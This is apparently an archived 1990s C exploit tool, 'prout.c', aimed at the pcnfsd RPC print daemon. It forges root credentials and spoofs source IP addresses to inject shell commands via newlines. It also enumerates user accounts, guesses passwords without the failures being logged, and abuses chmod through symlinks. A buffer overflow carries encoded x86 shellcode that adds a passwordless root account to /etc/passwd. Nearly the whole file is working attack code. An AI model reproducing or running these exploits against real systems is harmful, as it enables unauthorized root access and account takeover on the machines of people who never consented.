home *** CD-ROM | disk | FTP | other *** search
- /*
-
- prout.c : (ab)use of pcnfs RPC program (version 2 only).
-
- [part of the rpc project, 981007]
-
- happy birthday route..
-
- ga <duncan@mygale.org>
-
- */
-
- //#include <disclaimer.h>
- #include <string.h> // strcpy and co
- #include <stdio.h>
- #include <stdlib.h> // malloc, free, strtol
- #include <signal.h> // signal(), alarm()
- #include <unistd.h> // getopt, getuid, geteuid
- #include <errno.h> // perror
- #include <netdb.h> // gethostbyname
- #include <sys/time.h>
- #include <sys/types.h>
- #include <sys/socket.h> // socket interface
- #include <linux/socket.h>
- #include <linux/in.h> // ip protocol (IPPROTO_*)
-
- #define LEN_HDR_IP 20
- #define LEN_HDR_UDP 8
- #define LEN_HDR_RPC 24
- #define LEN_AUTH_UNIX 72+12 // length authentification field
- // (credentials=null) plus
- // length hostname%4 ("localhost")
-
- #define ROUND_VALUE(value) (value/4+(value%4?1:0))
-
- int ctimeout;
- int verbose=0;
-
- struct ip_hdr // 20
- {
- unsigned char ver;
- unsigned char tos;
- unsigned short int length;
- unsigned short int identification;
- unsigned short int fragoff;
- unsigned char ttl;
- unsigned char protocol;
- unsigned short int checksum;
- unsigned long int sip;
- unsigned long int dip;
- };
-
- struct udp_hdr // 8
- {
- unsigned short int sport;
- unsigned short int dport;
- unsigned short int length;
- unsigned short int checksum;
- };
-
- // RPC common hdr
-
- struct rpc_hdr // 24
- {
- unsigned long xid;
- unsigned long type_msg;
- unsigned long version_rpc;
- unsigned long prog_id;
- unsigned long prog_ver;
- unsigned long prog_proc;
- };
-
- // RPC pcnfsd call args
-
- struct pr_cancel_args // 722(4)
- {
- unsigned long len_pn;
- char printername[64];
- unsigned long len_clnt;
- char name[64];
- unsigned long len_username;
- char username[64];
- unsigned long len_printerjobid;
- char printerjobid[255];
- unsigned long len_comments;
- char comments[255];
- };
- #define LEN_HDR_PCN_CANCEL sizeof(struct pr_cancel_args)
-
- struct pr_mapid_args
- {
- unsigned long len_comments;
- char comments[255];
- unsigned long req_list;
- unsigned long mapreq;
- unsigned long uid;
- unsigned long len_username;
- char username[64];
- unsigned long mapreqnext;
- };
- #define LEN_HDR_PCN_MAPID sizeof(struct pr_mapid_args)
-
- struct pr_auth_args
- {
- unsigned long len_clnt;
- char name[64];
- unsigned long len_id;
- char id[32];
- unsigned long len_passwd;
- char passwd[64];
- unsigned long len_comments;
- char comments[255];
- };
- #define LEN_HDR_PCN_AUTH sizeof(struct pr_auth_args)
-
- struct pr_init_args
- {
- unsigned long len_clnt;
- char name[64];
- unsigned long len_pn;
- char printername[64];
- unsigned long len_comments;
- char comments[255];
- };
- #define LEN_HDR_PCN_INIT sizeof(struct pr_init_args)
-
- struct pr_info_args
- {
- unsigned long len_version;
- char version[255];
- unsigned long len_comments;
- char comments[255];
- };
- #define LEN_HDR_PCN_INFO sizeof(struct pr_info_args)
-
-
- void handler_timeout(int foo)
- {
- alarm(0);
- ctimeout=1;
- }
-
- void set_alarm()
- {
- alarm(10);
- ctimeout=0;
- }
-
- int readfd(fd, buffer, sizeb)
- int fd;
- char *buffer;
- int sizeb;
- {
- int nb;
-
- signal(SIGALRM, handler_timeout);
- set_alarm();
-
- while(1)
- {
-
- nb=read(fd, (char *)buffer, sizeb);
-
- if (ctimeout)
- {
- ctimeout--;
- close(fd);
- fprintf(stderr, "udp answer timeout\n");
- return -2;
- }
-
- if (nb<0)
- {
- perror("read");
- close(fd);
- return -1;
- }
- else break;
- }
- alarm(0);
- return nb;
- }
-
- // PR_AUTH uses xor-crypted login/passwd
- void crypt_xor(dest_str, source_str)
- char *dest_str;
- char *source_str;
- {
- while (*source_str)
- {
- *dest_str++=(*source_str^0x5b) & 0x7f;
- source_str++;
- }
- *dest_str=0;
- }
-
-
- // It's ugly.. I know.
- void dump_packet(unsigned char *pkt, int lenpkt)
- {
- register int m;
- register int n;
- register unsigned char *data;
-
- printf("(%d bytes)\n", lenpkt);
-
- data=pkt;
- for (m=0;m<lenpkt;m++)
- {
- if( (!(m%2)) && (m!=0) ) putchar(' ');
- if( (!(m%8)) && (m!=0) )
- {
- n=m;
- for (n=8;n>0;n--)
- {
- if ((*(data+m-n)>31) && (*(data+m-n)<127))
- printf("%c", *(data+m-n));
- else
- putchar('.');
- }
- putchar('\n');
- }
- printf("%02x",*(data+m));
- }
- for (m=0;m<(8-((lenpkt%8)?(lenpkt%8):8))*2+(4-((lenpkt%8)?(lenpkt%8-1):7)/2)
- ;m++) putchar(' ');
- for (m=lenpkt-((lenpkt%8)?(lenpkt%8):8);m<lenpkt;m++)
- {
- if ((*(data+m)>31) && (*(data+m)<127))
- printf("%c", *(data+m));
- else
- putchar('.');
- }
- printf("\n\n");
- }
-
- // humm.. SOCK_RAW/IPPROTO_RAW, bad idea to use that, but well...
- int make_raw_socket()
- {
- int s;
- int opt=1;
-
- if ((s=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0)
- {
- perror("socket");
- return -1;
- }
- if ((setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&opt, sizeof(opt)))<0)
- {
- perror("setsockopt IP_HDRINCL");
- return -1;
- }
- return s;
- }
-
- // spoof of the RPC auth unix authentification
- void make_auth_unix(authptr)
- unsigned long *authptr;
- {
- struct timeval tv;
-
- gettimeofday(&tv, (struct timezone *) NULL);
-
- *( authptr)=htonl(1); // auth unix
- *(++authptr)=htonl(LEN_AUTH_UNIX-16); // length auth
- *(++authptr)=htonl(tv.tv_sec); // local time
- *(++authptr)=htonl(9); // length host
- strcpy((char *)++authptr, "localhost"); // hostname
- authptr+=(3); // len(host)%4
- *( authptr)=htonl(0); // uid root
- *(++authptr)=htonl(0); // gid root
- *(++authptr)=htonl(9); // 9 gid grps
- // group root, bin, daemon, sys, adm, disk, wheel, floppy, "user gid"
- *(++authptr)=htonl(0) ;
- *(++authptr)=htonl(1) ;
- *(++authptr)=htonl(2);
- *(++authptr)=htonl(3) ;
- *(++authptr)=htonl(4) ;
- *(++authptr)=htonl(6);
- *(++authptr)=htonl(10);
- *(++authptr)=htonl(11);
- *(++authptr)=htonl(0);
- }
-
-
- unsigned long int resolve_host_name(char *hname)
- {
- unsigned long inetaddr;
- struct hostent *h_ent;
-
- if ((inetaddr=inet_addr(hname))==-1)
- {
- if (!(h_ent=gethostbyname(hname)))
- {
- fprintf(stderr, "can't resolve host %s\n", hname);
- exit(1);
- }
- bcopy(h_ent->h_addr, (char *)&inetaddr, h_ent->h_length);
- }
- return(inetaddr);
- }
-
- /*
-
- Execute a command with the id of a user on a remote system.
-
- It's not part of the pcnfsd implementation... pcnfsd_misc.c doesn't correctly
- check all the escaped shell charaters. Therefore, it's possible to execute a
- "command" using the escape shell character '\n' (phf bug..).
-
- "command" must not contain any of these characters : ";|&<>`'#!?*()[]^/"
- otherwise pcnfs daemon rejects the call.
-
- */
-
- int make_pcnfsd_PRCANCEL(pkt,lenpkt, sip, sport, dip, dport, username,
- printername, command)
- unsigned char *pkt;
- int lenpkt;
- unsigned long sip;
- unsigned short int sport;
- unsigned long dip;
- unsigned short int dport;
- char *username;
- char *printername;
- char *command;
- {
- int raws;
- unsigned long *authp;
-
- struct ip_hdr *iph;
- struct udp_hdr *udph;
- struct rpc_hdr *rpch;
- struct pr_cancel_args *prh;
-
- struct sockaddr_in s_in;
- struct sockaddr *sa=(struct sockaddr*)&s_in;
-
- iph= (struct ip_hdr*) (pkt);
- udph= (struct udp_hdr*) (pkt+LEN_HDR_IP);
- rpch= (struct rpc_hdr*) (pkt+LEN_HDR_IP+LEN_HDR_UDP);
- authp= (unsigned long *) (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC);
- prh= (struct pr_cancel_args *)(pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC
- +LEN_AUTH_UNIX);
-
- iph->ver=0x45;
- iph->length=htons(lenpkt);
- iph->identification=htons(0x6761);
- iph->ttl=0xff;
- iph->protocol=IPPROTO_UDP;
- iph->checksum=htons(0); // OS will do it for us..
- iph->sip=sip;
- iph->dip=dip;
- udph->sport=htons(sport);
- udph->dport=htons(dport);
- udph->length=htons(lenpkt-LEN_HDR_IP);
- udph->checksum=htons(0); // XXX no udp checksum
- rpch->xid=htonl(0x67616761); // it has to be done..
- rpch->type_msg=htonl(0);
- rpch->version_rpc=htonl(2);
- rpch->prog_id=htonl(150001);
- rpch->prog_ver=htonl(2);
- rpch->prog_proc=htonl(7); // PCNFSD_PROC_PRCANCEL
- prh->len_pn =htonl(63);
- prh->len_clnt =htonl(63);
- prh->len_username =htonl(63);
- prh->len_printerjobid =htonl(254);
- prh->len_comments =htonl(254);
- strcpy(prh->printername, printername);
- strcpy(prh->username, username);
- strcpy(prh->name, "localhost");
- strcpy(prh->printerjobid, "whocares");
- prh->printerjobid[7]='\n';
- strcpy(&prh->printerjobid[8], command);
- prh->printerjobid[7+strlen(command)+1]='\n';
- strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice.");
-
- make_auth_unix(authp);
-
- if ((raws=make_raw_socket())==-1)
- {
- return -1;
- }
-
- bzero((char *)&s_in, sizeof(s_in));
- s_in.sin_family=AF_INET;
- s_in.sin_port=htons(911); // whatever
- bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
-
- if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
- sizeof(struct sockaddr)))==-1)
- {
- perror("send");
- close(raws);
- return -1;
- }
-
- if (verbose) dump_packet(pkt, lenpkt);
-
- close(raws);
- return 0;
- }
-
- /*
-
- Retrieve remotely all logins (with uid) from a system.
- It's part of the pcnfsd implementation.
-
- */
-
- int make_pcnfsd_PRMAPID(pkt, lenpkt, dip, dport, lo_uid, up_uid)
- unsigned char *pkt;
- int lenpkt;
- unsigned long dip;
- unsigned short int dport;
- int lo_uid;
- int up_uid;
- {
- int nbytes, sock;
- unsigned long *authp;
- unsigned long ansrpc[256];
-
- struct rpc_hdr *rpch;
- struct pr_mapid_args *prh;
-
- struct sockaddr_in s_in;
- struct sockaddr *sa=(struct sockaddr*)&s_in;
-
- rpch= (struct rpc_hdr*) (pkt);
- authp= (unsigned long *) (pkt+LEN_HDR_RPC);
- prh= (struct pr_mapid_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);
-
- rpch->xid=htonl(0x67616761);
- rpch->type_msg=htonl(0);
- rpch->version_rpc=htonl(2);
- rpch->prog_id=htonl(150001);
- rpch->prog_ver=htonl(2);
- rpch->prog_proc=htonl(12); // PCNFSD_PROC_PRMAPID
- prh->len_comments =htonl(254);
- prh->req_list =htonl(1); // only one req_list
- prh->mapreq =htonl(0); // MAP_REQ_UID
- prh->len_username =htonl(63);
- prh->mapreqnext =htonl(0); // end req_list
-
- make_auth_unix(authp);
-
- if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0)
- {
- perror("socket");
- return -1;
- };
-
- bzero((char *)&s_in, sizeof(s_in));
- s_in.sin_family=AF_INET;
- s_in.sin_port=htons(dport);
- bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
-
- for (lo_uid; lo_uid<=up_uid;lo_uid++)
- {
-
- prh->uid=htonl(lo_uid);
-
- if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
- sizeof(struct sockaddr)))==-1)
- {
- perror("send");
- close(sock);
- return -1;
- }
-
- if (verbose) dump_packet(pkt, lenpkt);
-
- signal(SIGALRM, handler_timeout);
- set_alarm();
-
- while(1)
- {
- nbytes=read(sock, (char *)ansrpc, 1024);
- if (ctimeout)
- {
- fprintf(stderr, "uid %i : udp packet lost or no answer from "
- "the server\n", lo_uid);
- break;
- }
- if (nbytes<0)
- {
- perror("read");
- close(sock);
- return -1;
- }
- else break;
- }
- alarm(0);
-
- if (!ctimeout)
- {
-
- if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) )
- {
- fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
- close(sock);
- return -1;
- }
-
- if (verbose) dump_packet((unsigned char*)ansrpc, nbytes);
-
- if (ntohl(ansrpc[6+ROUND_VALUE(ntohl(ansrpc[6]))+3])==0)
- printf("uid %i, user %s\n",
- ntohl(ansrpc[6+ROUND_VALUE(ntohl(ansrpc[6]))+4]),
- (char*)&ansrpc[(6+ROUND_VALUE(ntohl(ansrpc[6]))+6)]);
-
- }
- }
- close(sock);
- return 0;
- }
-
- /*
-
- Return a list of available printers on the server.
-
- */
-
- int make_pcnfsd_PRLIST(pkt, lenpkt, dip, dport)
- unsigned char *pkt;
- int lenpkt;
- unsigned long dip;
- unsigned short int dport;
- {
- int nbytes, sock;
- unsigned long *authp;
- unsigned long buffer[256];
- unsigned long *ansrpc;
-
- struct rpc_hdr *rpch;
-
- struct sockaddr_in s_in;
- struct sockaddr *sa=(struct sockaddr*)&s_in;
-
- rpch= (struct rpc_hdr*) (pkt);
- authp= (unsigned long *) (pkt+LEN_HDR_RPC);
-
- rpch->xid=htonl(0x67616761);
- rpch->type_msg=htonl(0);
- rpch->version_rpc=htonl(2);
- rpch->prog_id=htonl(150001);
- rpch->prog_ver=htonl(2);
- rpch->prog_proc=htonl(4); // PCNFSD_PROC_PRLIST
-
- make_auth_unix(authp);
-
- if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0)
- {
- perror("socket");
- return -1;
- };
-
- bzero((char *)&s_in, sizeof(s_in));
- s_in.sin_family=AF_INET;
- s_in.sin_port=htons(dport);
- bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
-
- if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
- sizeof(struct sockaddr)))==-1)
- {
- perror("send");
- close(sock);
- return -1;
- }
-
- if (verbose) dump_packet(pkt, lenpkt);
-
- if ((nbytes=readfd(sock, (char *)buffer, 1024))<0)
- return -1;
-
- if ( (buffer[2]!=htonl(0)) || (buffer[5]!=htonl(0)) )
- {
- fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
- close(sock);
- return -1;
- }
-
- if (verbose) dump_packet((unsigned char*)buffer, nbytes);
-
- ansrpc=&buffer[6+ROUND_VALUE(ntohl(buffer[6]))+1];
-
- printf("printer list (printer name, device, comment):\n");
-
- while(ansrpc[0]==htonl(1))
- {
- ansrpc++;
- if (ansrpc[0]!=htonl(0)) printf("%s, ", (char *)&ansrpc[1]);
- else printf("- , ");
- ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1;
- if (ansrpc[0]!=htonl(0)) printf("%s, ", (char *)&ansrpc[1]);
- else printf("- , ");
- ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1; // skip client name
- ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1;
- if (ansrpc[0]!=htonl(0)) printf("%s\n", (char *)&ansrpc[1]);
- else printf("\n");
- ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1; // next list
- }
-
-
- close(sock);
- return 0;
- }
-
- /*
-
- Try to guess a combination login/passwd.
- It's part of the pcnfsd implementation.
-
- A failed attempt is _not_ logged but a successful one is logged in
- wtmp (/usr/adm/wtmp)
-
- */
-
- int make_pcnfsd_PRAUTH(pkt, lenpkt, dip, dport, username, password)
- unsigned char *pkt;
- int lenpkt;
- unsigned long dip;
- unsigned short int dport;
- char *username;
- char *password;
- {
- int nbytes, sock;
- unsigned long *authp;
- unsigned long ansrpc[256];
-
- struct rpc_hdr *rpch;
- struct pr_auth_args *prh;
-
- struct sockaddr_in s_in;
- struct sockaddr *sa=(struct sockaddr*)&s_in;
-
- rpch= (struct rpc_hdr*) (pkt);
- authp= (unsigned long *) (pkt+LEN_HDR_RPC);
- prh= (struct pr_auth_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);
-
- rpch->xid=htonl(0x67616761);
- rpch->type_msg=htonl(0);
- rpch->version_rpc=htonl(2);
- rpch->prog_id=htonl(150001);
- rpch->prog_ver=htonl(2);
- rpch->prog_proc=htonl(13); // PCNFSD_PROC_PRAUTH
- prh->len_clnt =htonl(63);
- prh->len_id =htonl(31);
- prh->len_passwd =htonl(63);
- prh->len_comments =htonl(254);
-
- strcpy(prh->comments, "kill -9 `pidof rpc.pcnfsd` ?");
- strcpy(prh->name, "localhost");
- crypt_xor(prh->id, username);
- crypt_xor(prh->passwd, password);
-
- make_auth_unix(authp);
-
- if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0)
- {
- perror("socket");
- return -1;
- };
-
- bzero((char *)&s_in, sizeof(s_in));
- s_in.sin_family=AF_INET;
- s_in.sin_port=htons(dport);
- bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
-
- if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
- sizeof(struct sockaddr)))==-1)
- {
- perror("send");
- close(sock);
- return -1;
- }
-
- if (verbose) dump_packet(pkt, lenpkt);
-
- if ((nbytes=readfd(sock, (char *)ansrpc, 1024))<0)
- return -1;
-
- if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) )
- {
- fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
- close(sock);
- return -1;
- }
-
- if (verbose) dump_packet((unsigned char*)ansrpc, nbytes);
-
- if (ntohl(ansrpc[6])==0)
- fprintf(stdout, "SUCCESS user \"%s\" (uid %i, gid %i), password \"%s\"\n",
- username, ntohl(ansrpc[7]), ntohl(ansrpc[8]), password);
- else
- fprintf(stderr, "FAILURE: user \"%s\", passwd \"%s\"\n",
- username, password);
-
- close(sock);
- return 0;
- }
-
- /*
-
- Execute a command as root on the system using a buffer overrun.
- Another one ..
-
- Tested on Slackware 3.1 running a compiled rpc.pcnfsd shipped with Slackware
- 3.5 (unpatched one). The return address may change with distribs..
-
- If the overflow is successful, then /etc/passwd has the new entry :
-
- "prout::0:0::/:/bin/sh"
-
- */
-
- int make_pcnfsd_PROVERFLOW(pkt,lenpkt, sip, sport, dip, dport)
- unsigned char *pkt;
- int lenpkt;
- unsigned long sip;
- unsigned short int sport;
- unsigned long dip;
- unsigned short int dport;
- {
- int raws;
- unsigned long *authp;
-
- struct ip_hdr *iph;
- struct udp_hdr *udph;
- struct rpc_hdr *rpch;
- struct pr_cancel_args *prh;
-
- struct sockaddr_in s_in;
- struct sockaddr *sa=(struct sockaddr*)&s_in;
-
- // buffer overflow data
-
- #define RETADDR 0xbffff740 // return address for pcnfsd
- // @(#)pcnfsd_print.c 1.12 1/29/93
- // used on slackware 3.1 but with code of
- // rpc.pcnfsd shipped with slackware 3.5 (not
- // patched). This value may be different for
- // other linux distribs.
- #define BUFFSIZE 250 // no more, no less
-
- int off;
- unsigned char *bover;
- unsigned long *boverl;
-
- char execode[100]= // [asm code (linux x86 only)]
- "\xeb\x0e\x5f\x31\xc9\xb1\x4e\x80\x34\x39" // I had to rewrite a new asm
- "\xc6\x49\x7d\xf9\xeb\x2d\xe8\xed\xff\xff" // code that doesn't contain
- "\xff\x9d\x4f\x18\xf7\x06\xf7\x0f\xf7\x14" // any characters like :
- "\x76\xc3\xa0\x7f\xc7\xc2\x0b\x46\x4f\x05" //
- "\xf7\x06\xf7\x0f\xf7\x14\x76\xc2\x74\xd0" // ";|&<>`'#!?*()[]^/" and 0s
- "\x77\xca\xc7\x37\x0b\x46\xf7\x06\x86\x0b" //
- "\x46\x2e\x15\x39\x39\x39\xe9\xa3\xb2\xa5" // To crypt it, a simple
- "\xe9\xb6\xa7\xb5\xb5\xb1\xa2\xc6\xb6\xb4" // "xor 0xc6 loop" did the work
- "\xa9\xb3\xb2\xfc\xfc\xf6\xfc\xf6\xfc\xfc" //
- "\xe9\xfc\xe9\xa4\xaf\xa8\xe9\xb5\xae\xcc";// Once decrypted, the code
- // adds the new entry
- // "prout::0:0::/:/bin/sh\n"
- // in /etc/passwd
- // and then it exits cleanly
-
- iph= (struct ip_hdr*) (pkt);
- udph= (struct udp_hdr*) (pkt+LEN_HDR_IP);
- rpch= (struct rpc_hdr*) (pkt+LEN_HDR_IP+LEN_HDR_UDP);
- authp= (unsigned long *) (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC);
- prh= (struct pr_cancel_args *)(pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC
- +LEN_AUTH_UNIX);
-
- // set up code of buffer overflow
-
- bover=(unsigned char *)&(prh->printerjobid);
-
- for (off=0; off<(BUFFSIZE/2); off++) // 125 non operates
- *(bover++)= 0x90; // (x86 nop operand) Hello noppie.
-
- for (off=0; off<sizeof(execode); off++) // 100 bytes of code
- *(bover++)= execode[off]; // stick our asm code in the buffer
-
- boverl=(unsigned long *)bover;
-
- for (off=0; off<8; off++) // 7 unsigned long RETADDR
- *(boverl+off)=RETADDR; // our return address (on stack)
-
- // set up IP packet
-
- iph->ver=0x45;
- iph->length=htons(lenpkt);
- iph->identification=htons(0x6761);
- iph->ttl=0xff;
- iph->protocol=IPPROTO_UDP;
- iph->checksum=htons(0); // OS will do it for us
- iph->sip=sip;
- iph->dip=dip;
- udph->sport=htons(sport);
- udph->dport=htons(dport);
- udph->length=htons(lenpkt-LEN_HDR_IP);
- udph->checksum=htons(0); // XXX no udp checksum
- rpch->xid=htonl(0x67616761);
- rpch->type_msg=htonl(0);
- rpch->version_rpc=htonl(2);
- rpch->prog_id=htonl(150001);
- rpch->prog_ver=htonl(2);
- rpch->prog_proc=htonl(7); // PCNFSD_PROC_PRCANCEL
- prh->len_pn =htonl(63);
- prh->len_clnt =htonl(63);
- prh->len_username =htonl(63);
- prh->len_printerjobid =htonl(254);
- prh->len_comments =htonl(254);
- strcpy (prh->printername, "lp"); // we assume "lp" is a good
- strcpy (prh->username, "nobody"); // printer
- strcpy (prh->name, "localhost");
- strcpy (prh->comments,"Indeed,'rm -rf rpc.pcnfsd' would be a good choice.");
-
- make_auth_unix(authp);
-
- if ((raws=make_raw_socket())==-1)
- {
- return -1;
- }
-
- bzero((char *)&s_in, sizeof(s_in));
- s_in.sin_family=AF_INET;
- s_in.sin_port=htons(911); // whatever
- bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
-
- if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
- sizeof(struct sockaddr)))==-1)
- {
- perror("send");
- close(raws);
- return -1;
- }
-
- if (verbose) dump_packet(pkt, lenpkt);
-
- close(raws);
- return 0;
- }
-
- /*
-
- A local user can chmod(777) any files in the pcnfsd directory (including the
- pcnfsd directory itself "/var/spool/pcnfs" by using a file name "." as arg).
-
- Therefore, using a symlink, a user can chmod(777) any files on the system.
-
- */
-
- int make_pcnfsd_local_PRINIT(pkt,lenpkt, dip, dport, filename)
- unsigned char *pkt;
- int lenpkt;
- unsigned long dip;
- unsigned short int dport;
- char *filename;
- {
- int sock;
- unsigned long *authp;
-
- struct rpc_hdr *rpch;
- struct pr_init_args *prh;
-
- struct sockaddr_in s_in;
- struct sockaddr *sa=(struct sockaddr*)&s_in;
-
- rpch= (struct rpc_hdr*) (pkt);
- authp= (unsigned long *) (pkt+LEN_HDR_RPC);
- prh= (struct pr_init_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);
-
- rpch->xid=htonl(0x67616761);
- rpch->type_msg=htonl(0);
- rpch->version_rpc=htonl(2);
- rpch->prog_id=htonl(150001);
- rpch->prog_ver=htonl(2);
- rpch->prog_proc=htonl(2); // PCNFSD_PROC_PRINIT
- prh->len_clnt =htonl(63);
- prh->len_pn =htonl(63);
- prh->len_comments =htonl(254);
- strcpy(prh->printername, "lp"); // PR_INIT doesn't check it
- // anyway
- strcpy(prh->name, filename);
- strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice.");
-
- make_auth_unix(authp);
-
- if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0)
- {
- perror("socket");
- return -1;
- };
-
- bzero((char *)&s_in, sizeof(s_in));
- s_in.sin_family=AF_INET;
- s_in.sin_port=htons(dport);
- bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
-
- if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
- sizeof(struct sockaddr)))==-1)
- {
- perror("send");
- close(sock);
- return -1;
- }
-
- if (verbose) dump_packet(pkt, lenpkt);
-
- close(sock);
- return 0;
- }
-
- /*
-
- Same as make_pcnfsd_local_PRINIT() but with a spoofed ip/port.
-
- */
-
- int make_pcnfsd_spoof_PRINIT(pkt,lenpkt, sip, sport, dip, dport, filename)
- unsigned char *pkt;
- int lenpkt;
- unsigned long sip;
- unsigned short int sport;
- unsigned long dip;
- unsigned short int dport;
- char *filename;
- {
- int raws;
- unsigned long *authp;
-
- struct ip_hdr *iph;
- struct udp_hdr *udph;
- struct rpc_hdr *rpch;
- struct pr_init_args *prh;
-
- struct sockaddr_in s_in;
- struct sockaddr *sa=(struct sockaddr*)&s_in;
-
- iph= (struct ip_hdr*) (pkt);
- udph= (struct udp_hdr*) (pkt+LEN_HDR_IP);
- rpch= (struct rpc_hdr*) (pkt+LEN_HDR_IP+LEN_HDR_UDP);
- authp= (unsigned long *) (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC);
- prh= (struct pr_init_args *) (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC
- +LEN_AUTH_UNIX);
-
- iph->ver=0x45;
- iph->length=htons(lenpkt);
- iph->identification=htons(0x6761);
- iph->ttl=0xff;
- iph->protocol=IPPROTO_UDP;
- iph->checksum=htons(0); // OS will do it for us
- iph->sip=sip;
- iph->dip=dip;
- udph->sport=htons(sport);
- udph->dport=htons(dport);
- udph->length=htons(lenpkt-LEN_HDR_IP);
- udph->checksum=htons(0); // XXX no udp checksum, not
- rpch->xid=htonl(0x67616761); // reliable over inet.
- rpch->type_msg=htonl(0);
- rpch->version_rpc=htonl(2);
- rpch->prog_id=htonl(150001);
- rpch->prog_ver=htonl(2);
- rpch->prog_proc=htonl(2); // PCNFSD_PROC_PRINIT
- prh->len_clnt =htonl(63);
- prh->len_pn =htonl(63);
- prh->len_comments =htonl(254);
- strcpy(prh->printername, "lp"); // whatever
- strcpy(prh->name, filename);
- strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice.");
-
- make_auth_unix(authp);
-
- if ((raws=make_raw_socket())==-1)
- {
- return -1;
- }
-
- bzero((char *)&s_in, sizeof(s_in));
- s_in.sin_family=AF_INET;
- s_in.sin_port=htons(911); // whatever
- bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
-
- if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
- sizeof(struct sockaddr)))==-1)
- {
- perror("send");
- close(raws);
- return -1;
- }
-
- if (verbose) dump_packet(pkt, lenpkt);
-
- close(raws);
- return 0;
- }
-
- /*
-
- A (remote) user can retrieve the version of the running pcnfs daemon.
-
- If a buffer overrun exists in the pcnfs daemon then, using the version info,
- an evil user can guess the good return address to put on the stack (this value
- directly depends on the version of pcnfs).
-
- */
-
- int make_pcnfsd_PRINFO(pkt,lenpkt, dip, dport)
- unsigned char *pkt;
- int lenpkt;
- unsigned long dip;
- unsigned short int dport;
- {
- int nbytes, sock;
- unsigned long *authp;
- unsigned long ansrpc[256];
-
- struct rpc_hdr *rpch;
- struct pr_info_args *prh;
-
- struct sockaddr_in s_in;
- struct sockaddr *sa=(struct sockaddr*)&s_in;
-
- rpch= (struct rpc_hdr*) (pkt);
- authp= (unsigned long *) (pkt+LEN_HDR_RPC);
- prh= (struct pr_info_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);
-
- rpch->xid=htonl(0x67616761);
- rpch->type_msg=htonl(0);
- rpch->version_rpc=htonl(2);
- rpch->prog_id=htonl(150001);
- rpch->prog_ver=htonl(2);
- rpch->prog_proc=htonl(1); // PCNFSD_PROC_PRINFO
- prh->len_version =htonl(254);
- prh->len_comments =htonl(254);
- strcpy(prh->comments,"Become safe with this command : echo BAD>rpc.pcnfsd");
-
- make_auth_unix(authp);
-
- if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0)
- {
- perror("socket");
- return -1;
- };
-
- bzero((char *)&s_in, sizeof(s_in));
- s_in.sin_family=AF_INET;
- s_in.sin_port=htons(dport);
- bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
-
- if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
- sizeof(struct sockaddr)))==-1)
- {
- perror("send");
- close(sock);
- return -1;
- }
-
- if (verbose) dump_packet(pkt, lenpkt);
-
- if ((nbytes=readfd(sock, (char *)ansrpc, 1024))<0)
- return -1;
-
- if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) )
- {
- fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
- close(sock);
- return -1;
- }
-
- if (verbose) dump_packet((unsigned char*)ansrpc, nbytes);
-
- if (ntohl(ansrpc[6])!=0)
- printf("pcnfsd version :\n%s\n", (char*)&ansrpc[7]);
-
- close(sock);
- return 0;
- }
-
-
- void usage(char *progname)
- {
- fprintf(stderr, "help : %s -h\n", progname);
- exit(0);
- }
-
- void option(char *progname)
- {
- fprintf(stderr, "%s :\n", progname);
- fprintf(stderr, " -i (infos about %s)\n", progname);
- fprintf(stderr, " -s (infos about system on which %s was tested)\n"
- ,progname);
- fprintf(stderr, " -v verbose mode (dumps sent/received packets)\n");
- fprintf(stderr, " -p destip destport (retrieve printer list)\n");
- fprintf(stderr, " -w destip destport (retrieve pcnfs version)\n");
- fprintf(stderr, " -a destip destport user passwd\n");
- fprintf(stderr, " -u destip destport lower_uid upper_uid\n");
- fprintf(stderr, " -fl destip destport filename\n");
- fprintf(stderr, " -fs sourceip sourceport destip destport filename"
- " \n");
